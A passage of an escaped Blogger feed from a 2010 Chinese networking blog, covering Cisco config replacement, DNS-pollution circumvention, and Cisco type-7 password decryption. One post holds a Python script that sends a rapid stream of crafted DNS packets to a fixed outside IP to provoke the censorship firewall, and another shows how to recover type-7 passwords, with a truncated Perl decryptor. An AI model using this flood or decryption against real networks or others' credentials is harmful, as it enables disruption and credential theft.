address 13.13.13.1 255.255.255.0         &lt;br /&gt;&amp;nbsp;ip ospf authentication message-digest         &lt;br /&gt;&amp;nbsp;ip ospf message-digest-key 1 md5 cisco         &lt;br /&gt;&amp;nbsp;duplex auto         &lt;br /&gt;&amp;nbsp;speed auto         &lt;br /&gt;!         &lt;br /&gt;interface FastEthernet0/1         &lt;br /&gt;&amp;nbsp;description To_R2         &lt;br /&gt;&amp;nbsp;ip address 12.12.12.1 255.255.255.0         &lt;br /&gt;&amp;nbsp;ip ospf authentication message-digest         &lt;br /&gt;&amp;nbsp;ip ospf message-digest-key 1 md5 cisco         &lt;br /&gt;&amp;nbsp;shutdown         &lt;br /&gt;&amp;nbsp;duplex auto         &lt;br /&gt;&amp;nbsp;speed auto&lt;/span&gt;&lt;/blockquote&gt;F0/1是shutdown的，而F0/0由于多配置了OSPF认证而不能建立邻居关系。当然我们可以先手工清除所有配置，然后再贴会原来的。但是实际情况可能需要刷整台设备配置时，这样无疑是很浪费时间的。这时我推荐的做法是&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family: Consolas;"&gt;configure replace nvram:startup-config &lt;/span&gt;&lt;/blockquote&gt;这句命令相当于将running-config先清空后再刷入新的配置。上面的情况执行此句后为：&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family: Consolas;"&gt;Router#configure replace nvram:startup-config        &lt;br /&gt;This will apply all necessary additions and deletions         &lt;br /&gt;to replace the current running configuration with the         &lt;br /&gt;contents of the specified configuration file, which is         &lt;br /&gt;assumed to be a complete configuration, not a partial         &lt;br /&gt;configuration. Enter Y if you are sure you want to proceed. ? [no]: y         &lt;/span&gt; &lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-family: Consolas;"&gt;Router#sh run         &lt;br /&gt;&amp;lt;省略部分配置&amp;gt;         &lt;br /&gt;interface FastEthernet0/0         &lt;br /&gt;&amp;nbsp;description To_XXX         &lt;br /&gt;&amp;nbsp;ip address 13.13.13.1 255.255.255.0         &lt;br /&gt;&amp;nbsp;duplex auto         &lt;br /&gt;&amp;nbsp;speed auto         &lt;br /&gt;!         &lt;br /&gt;interface FastEthernet0/1         &lt;br /&gt;&amp;nbsp;description To_R2         &lt;br /&gt;&amp;nbsp;ip address 12.12.12.1 255.255.255.0         &lt;br /&gt;&amp;nbsp;ip ospf authentication message-digest         &lt;br /&gt;&amp;nbsp;ip ospf message-digest-key 1 md5 cisco         &lt;br /&gt;&amp;nbsp;duplex auto         &lt;br /&gt;&amp;nbsp;speed auto         &lt;br /&gt;&amp;lt;省略部分配置&amp;gt;&lt;/span&gt;&lt;/blockquote&gt;这才是我们想要的结果嘛。具体的信息，可以参考&lt;br /&gt;&lt;a href="http://www.cisco.com/en/US/docs/ios/12_3t/12_3t7/feature/guide/gtrollbk.html"&gt;http://www.cisco.com/en/US/docs/ios/12_3t/12_3t7/feature/guide/gtrollbk.html&lt;/a&gt;&lt;br /&gt;其中还提到了Rollback和Archive，喜欢Juniper的commit功能的同学，可以用这个来模拟实现其中部分功能哦～～～自己看吧&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-5549035749301958229?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/5549035749301958229/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=5549035749301958229' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/5549035749301958229'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/5549035749301958229'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/10/configure-replace.html' title='来刷个配置——configure replace'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-6402899526194205697</id><published>2010-10-21T21:03:00.002+08:00</published><updated>2010-11-15T12:26:25.094+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>让GFW溢出的Python代码</title><content type='html'>&lt;pre class="code"&gt;&lt;span style="color: black;"&gt;import&lt;/span&gt; &lt;span style="color: black;"&gt;socket&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;import&lt;/span&gt; &lt;span style="color: black;"&gt;binascii&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;import&lt;/span&gt; &lt;span style="color: black;"&gt;time&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;import&lt;/span&gt; &lt;span style="color: black;"&gt;threading&lt;/span&gt;&lt;br /&gt;&lt;span style="color: navy; font-weight: bold;"&gt;class&lt;/span&gt; &lt;span style="color: black;"&gt;DataReceiver&lt;/span&gt;&lt;span style="color: black;"&gt;:&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: navy; font-weight: bold;"&gt;def&lt;/span&gt; &lt;span style="color: black;"&gt;__init__&lt;/span&gt;(&lt;span style="color: black;"&gt;self&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; s&lt;span style="color: black;"&gt;):&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: black;"&gt;self&lt;/span&gt;&lt;span style="color: black;"&gt;.&lt;/span&gt;s &lt;span style="color: black;"&gt;=&lt;/span&gt; s&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: navy; font-weight: bold;"&gt;def&lt;/span&gt; &lt;span style="color: black;"&gt;__call__&lt;/span&gt;(&lt;span style="color: black;"&gt;self&lt;/span&gt;&lt;span style="color: black;"&gt;):&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: navy; font-weight: bold;"&gt;while&lt;/span&gt; &lt;span style="color: black;"&gt;True&lt;/span&gt;&lt;span style="color: black;"&gt;:&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: black;"&gt;r&lt;/span&gt; &lt;span style="color: black;"&gt;=&lt;/span&gt; s&lt;span style="color: black;"&gt;.&lt;/span&gt;&lt;span style="color: black;"&gt;recvfrom&lt;/span&gt;(&lt;span style="color: blue;"&gt;65535&lt;/span&gt;&lt;span style="color: black;"&gt;)[&lt;/span&gt;&lt;span style="color: blue;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;]&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: black;"&gt;i&lt;/span&gt; &lt;span style="color: black;"&gt;=&lt;/span&gt; &lt;span style="color: blue;"&gt;0&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: navy; font-weight: bold;"&gt;while&lt;/span&gt; &lt;span style="color: black;"&gt;i&lt;/span&gt; &lt;span style="color: black;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: black;"&gt;len&lt;/span&gt;(&lt;span style="color: black;"&gt;r&lt;/span&gt;&lt;span style="color: black;"&gt;):&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: navy; font-weight: bold;"&gt;print&lt;/span&gt; &lt;span style="color: blue;"&gt;'&lt;/span&gt;&lt;span style="color: blue;"&gt;%04x&lt;/span&gt;&lt;span style="color: blue;"&gt;:'&lt;/span&gt; &lt;span style="color: black;"&gt;%&lt;/span&gt; &lt;span style="color: black;"&gt;i&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; p &lt;span style="color: black;"&gt;=&lt;/span&gt; &lt;span style="color: black;"&gt;list&lt;/span&gt;(&lt;span style="color: black;"&gt;r&lt;/span&gt;&lt;span style="color: black;"&gt;[&lt;/span&gt;&lt;span style="color: black;"&gt;i&lt;/span&gt; &lt;span style="color: black;"&gt;:&lt;/span&gt; &lt;span style="color: black;"&gt;i&lt;/span&gt; &lt;span style="color: black;"&gt;+&lt;/span&gt; &lt;span style="color: blue;"&gt;16&lt;/span&gt;&lt;span style="color: black;"&gt;])&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: navy; font-weight: bold;"&gt;for&lt;/span&gt; &lt;span style="color: black;"&gt;j&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;in&lt;/span&gt; &lt;span style="color: black;"&gt;range&lt;/span&gt;(&lt;span style="color: blue;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: black;"&gt;len&lt;/span&gt;(p&lt;span style="color: black;"&gt;)):&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: navy; font-weight: bold;"&gt;print&lt;/span&gt; &lt;span style="color: black;"&gt;binascii&lt;/span&gt;&lt;span style="color: black;"&gt;.&lt;/span&gt;&lt;span style="color: black;"&gt;b2a_hex&lt;/span&gt;(p&lt;span style="color: black;"&gt;[&lt;/span&gt;&lt;span style="color: black;"&gt;j&lt;/span&gt;&lt;span style="color: black;"&gt;]),&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: navy; font-weight: bold;"&gt;if&lt;/span&gt; p&lt;span style="color: black;"&gt;[&lt;/span&gt;&lt;span style="color: black;"&gt;j&lt;/span&gt;&lt;span style="color: black;"&gt;]&lt;/span&gt; &lt;span style="color: black;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: blue;"&gt;' '&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;or&lt;/span&gt; p&lt;span style="color: black;"&gt;[&lt;/span&gt;&lt;span style="color: black;"&gt;j&lt;/span&gt;&lt;span style="color: black;"&gt;]&lt;/span&gt; &lt;span style="color: black;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color: blue;"&gt;'~'&lt;/span&gt;&lt;span style="color: black;"&gt;:&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; p&lt;span style="color: black;"&gt;[&lt;/span&gt;&lt;span style="color: black;"&gt;j&lt;/span&gt;&lt;span style="color: black;"&gt;]&lt;/span&gt; &lt;span style="color: black;"&gt;=&lt;/span&gt; &lt;span style="color: blue;"&gt;'.'&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: navy; font-weight: bold;"&gt;print&lt;/span&gt; &lt;span style="color: blue;"&gt;' '&lt;/span&gt; &lt;span style="color: black;"&gt;*&lt;/span&gt; ((&lt;span style="color: blue;"&gt;15&lt;/span&gt; &lt;span style="color: black;"&gt;-&lt;/span&gt; &lt;span style="color: black;"&gt;j&lt;/span&gt;) &lt;span style="color: black;"&gt;*&lt;/span&gt; &lt;span style="color: blue;"&gt;3&lt;/span&gt;&lt;span style="color: black;"&gt;),&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: navy; font-weight: bold;"&gt;print&lt;/span&gt; &lt;span style="color: blue;"&gt;""&lt;/span&gt;&lt;span style="color: black;"&gt;.&lt;/span&gt;&lt;span style="color: black;"&gt;join&lt;/span&gt;(p)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: black;"&gt;i&lt;/span&gt; &lt;span style="color: black;"&gt;+=&lt;/span&gt; &lt;span style="color: blue;"&gt;16&lt;/span&gt;&lt;br /&gt;s &lt;span style="color: black;"&gt;=&lt;/span&gt; &lt;span style="color: black;"&gt;socket&lt;/span&gt;&lt;span style="color: black;"&gt;.&lt;/span&gt;&lt;span style="color: black;"&gt;socket&lt;/span&gt;(&lt;span style="color: black;"&gt;socket&lt;/span&gt;&lt;span style="color: black;"&gt;.&lt;/span&gt;&lt;span style="color: black;"&gt;AF_INET&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: black;"&gt;socket&lt;/span&gt;&lt;span style="color: black;"&gt;.&lt;/span&gt;&lt;span style="color: black;"&gt;SOCK_DGRAM&lt;/span&gt;)&lt;br /&gt;&lt;span style="color: black;"&gt;threading&lt;/span&gt;&lt;span style="color: black;"&gt;.&lt;/span&gt;&lt;span style="color: black;"&gt;Thread&lt;/span&gt;(&lt;span style="color: black;"&gt;target&lt;/span&gt; &lt;span style="color: black;"&gt;=&lt;/span&gt; &lt;span style="color: black;"&gt;DataReceiver&lt;/span&gt;(s))&lt;span style="color: black;"&gt;.&lt;/span&gt;&lt;span style="color: black;"&gt;start&lt;/span&gt;()&lt;br /&gt;&lt;span style="color: navy; font-weight: bold;"&gt;while&lt;/span&gt; &lt;span style="color: black;"&gt;True&lt;/span&gt;&lt;span style="color: black;"&gt;:&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; s&lt;span style="color: black;"&gt;.&lt;/span&gt;&lt;span style="color: black;"&gt;sendto&lt;/span&gt;(&lt;span style="color: blue;"&gt;"&lt;/span&gt;&lt;span style="color: blue;"&gt;\1\1\6&lt;/span&gt;&lt;span style="color: blue;"&gt;wux.ru&lt;/span&gt;&lt;span style="color: blue;"&gt;\377&lt;/span&gt;&lt;span style="color: blue;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; (&lt;span style="color: blue;"&gt;"98.137.149.56"&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;53&lt;/span&gt;))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: black;"&gt;time&lt;/span&gt;&lt;span style="color: black;"&gt;.&lt;/span&gt;&lt;span style="color: black;"&gt;sleep&lt;/span&gt;(&lt;span style="color: blue;"&gt;0.001&lt;/span&gt;)&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-6402899526194205697?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/6402899526194205697/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=6402899526194205697' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/6402899526194205697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/6402899526194205697'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/10/gfwpython.html' title='让GFW溢出的Python代码'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-924390101276164791</id><published>2010-10-19T10:45:00.004+08:00</published><updated>2010-10-19T11:12:58.767+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><title type='text'>Juniper JNCIA 笔记</title><content type='html'>别人写的，还是不错的。&lt;br /&gt;&lt;a href="http://www.box.net/shared/te1pvk0b6c" style="color: blue;"&gt;点这里下载&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-924390101276164791?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/924390101276164791/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=924390101276164791' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/924390101276164791'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/924390101276164791'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/10/juniper-jncia.html' title='Juniper JNCIA 笔记'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-2688941660937816412</id><published>2010-09-26T09:30:00.001+08:00</published><updated>2010-10-09T16:36:42.074+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><title type='text'>在没有代理服务器和VPN的情况下，如何同时解决DNS劫持和DNS污染的问题</title><content type='html'>我们知道，某些国家为了某些目的，对DNS进行了某些操作，导致使用ISP的正常上网设置无法通过域名取得正确的IP地址。常用的手段有：DNS劫持和DNS污染。关于DNS劫持和DNS污染的区别，请查找相关文章。对付DNS劫持的方法很简单，只需要把系统的DNS设置改为为国外的DNS服务器的IP地址即可解决。但是对于DNS污染，一般除了使用代理服务器和VPN之类的软件之外，并没有什么其它办法。但是利用我们对某些国家DNS污染的了解，还是可以做到不用代理服务器和VPN之类的软件就能解决DNS污染的问题，从而在不使用代理服务器或VPN的情况下访问原本访问不了的一些网站。当然这无法解决所有问题，当一些无法访问的网站本身并不是由DNS污染问题导致的时候，还是需要使用代理服务器或VPN才能访问的。&lt;br /&gt;&lt;br /&gt;我们知道，DNS污染的数据包并不是在网络数据包经过的路由器上，而是在其旁路产生的。所以DNS污染并无法阻止正确的DNS解析结果返回，但由于旁路产生的数据包发回的速度较国外DNS服务器发回的快，操作系统认为第一个收到的数据包就是返回结果，从而忽略其后收到的数据包，从而使得DNS污染得逞。而某些国家的DNS污染在一段时期内的污染IP却是固定不变的，从而可以忽略返回结果是这些IP地址的数据包，直接解决DNS污染的问题。&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.box.net/shared/kp7zq15opk" style="color: blue;"&gt;程序从这里下载&lt;/a&gt;，运行后设置自己的dns为本地就行了&lt;br /&gt;&lt;br /&gt;下面说一下这个小程序的具体工作流程：首先程序启动后，会从文本文件dnsfilter.properties中读取配制，然后去一个不存在的DNS服务器——但这个IP地址却是国外的——中进行DNS查询被劫持的域名，然后返回的IP地址就是被劫持的IP，被记录下来，之后正常的 DNS查询中，就自动把这些IP地址过滤了。这个程序以后会不定期更新，或许也会出.NET版本，请在Google Reader上关注更新： https://www.google.com/reader/shared/lehui99 。&lt;br /&gt;&lt;br /&gt;对于高级用户，可以手动用文本编辑器修改配置文件dnsfilter.properties：&lt;br /&gt;BindToIP：小程序启动后作为DNS服务期绑定53端口，这里指定绑定的IP地址&lt;br /&gt;DnsServer：国外的DNS服务器，可以设置为OpenDNS或Google DNS服务器的IP地址&lt;br /&gt;ResponseTimeout：DNS查询返回超时的时间（毫秒）&lt;br /&gt;TestDnsServer：测试DNS服务器，请指定一个不存在的DNS服务期，但要求IP是国外的&lt;br /&gt;TestRespTimeout：测试DNS服务器的查询返回超时时间（毫秒），也就是DNS劫持的旁路回复超时时间&lt;br /&gt;TestCount：测试DNS服务器的次数，为了得到所有被劫持的IP地址，需要一定的测试次数&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-2688941660937816412?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/2688941660937816412/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=2688941660937816412' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/2688941660937816412'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/2688941660937816412'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/09/vpndnsdns.html' title='在没有代理服务器和VPN的情况下，如何同时解决DNS劫持和DNS污染的问题'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-8225966415969535740</id><published>2010-09-25T09:29:00.004+08:00</published><updated>2010-10-09T16:38:25.289+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><title type='text'>Cisco type-7 password decryption</title><content type='html'>思科设备中type-7的密码是一种非常弱的加密方式，生产环境下不建议大家使用，原因嘛，看下面的解密方法就知道了：&lt;br /&gt;&lt;br /&gt;1. Cisco IOS&lt;br /&gt;没想到吧，IOS自己都可以完成解密。找一台空设备或者在模拟器上 &lt;br /&gt;&lt;span style="color: black;"&gt;R1#config t&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;R1&lt;/span&gt;(&lt;span style="color: black;"&gt;config&lt;/span&gt;)&lt;span style="color: green;"&gt;#key chain show-me-the-password&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;R1&lt;/span&gt;(&lt;span style="color: black;"&gt;config-keychain&lt;/span&gt;)&lt;span style="color: green;"&gt;#key 1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;R1&lt;/span&gt;(&lt;span style="color: black;"&gt;config-keychain-key&lt;/span&gt;)&lt;span style="color: green;"&gt;#key-string 7 1100540318000C031067263D65232226&lt;/span&gt;&lt;br /&gt;然后在命令行下"show key chain"。然后自己找吧。&lt;br /&gt;&lt;br /&gt;2. 在线方式&lt;br /&gt;推荐&lt;a href="http://packetlife.net/toolbox/type7/" style="color: blue;"&gt;这个网页&lt;/a&gt;，十分方便啊……&lt;br /&gt;&lt;br /&gt;3. 破解软件&lt;br /&gt;这个已经不能叫做破解了。下载&lt;a href="http://download.cnet.com/GetPass/3000-2381_4-10067400.html" style="color: blue;"&gt;这个软件&lt;/a&gt;就可以了。&lt;br /&gt;&lt;br /&gt;4. 脚本&lt;br /&gt;如果没有GUI，在命令行下使用脚本也可以完成。&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #008800; font-style: italic;"&gt;#!/usr/bin/perl -w&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #008800; font-style: italic;"&gt;# $Id: ios7decrypt.pl,v 1.1 1998/01/11 21:31:12 mesrik Exp $&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #008800; font-style: italic;"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #008800; font-style: italic;"&gt;# Credits for original code and description hobbit@avian.org,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #008800; font-style: italic;"&gt;# SPHiXe, .mudge et al. and for John Bashinski&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #008800; font-style: italic;"&gt;# for Cisco IOS password encryption facts.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #008800; font-style: italic;"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #008800; font-style: italic;"&gt;# Use of this code for any malicious or illegal purposes is strictly prohibited!&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #008800; font-style: italic;"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;@xlat&lt;/span&gt; &lt;span style="color: black;"&gt;=&lt;/span&gt; ( &lt;span style="color: blue;"&gt;0x64&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x73&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x66&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x64&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x3b&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x6b&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x66&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x6f&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x41&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;0x2c&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x2e&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x69&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x79&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x65&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x77&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x72&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x6b&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x6c&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;0x64&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x4a&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x4b&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x44&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x48&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x53&lt;/span&gt; &lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x55&lt;/span&gt;&lt;span style="color: black;"&gt;,&lt;/span&gt; &lt;span style="color: blue;"&gt;0x42&lt;/span&gt; 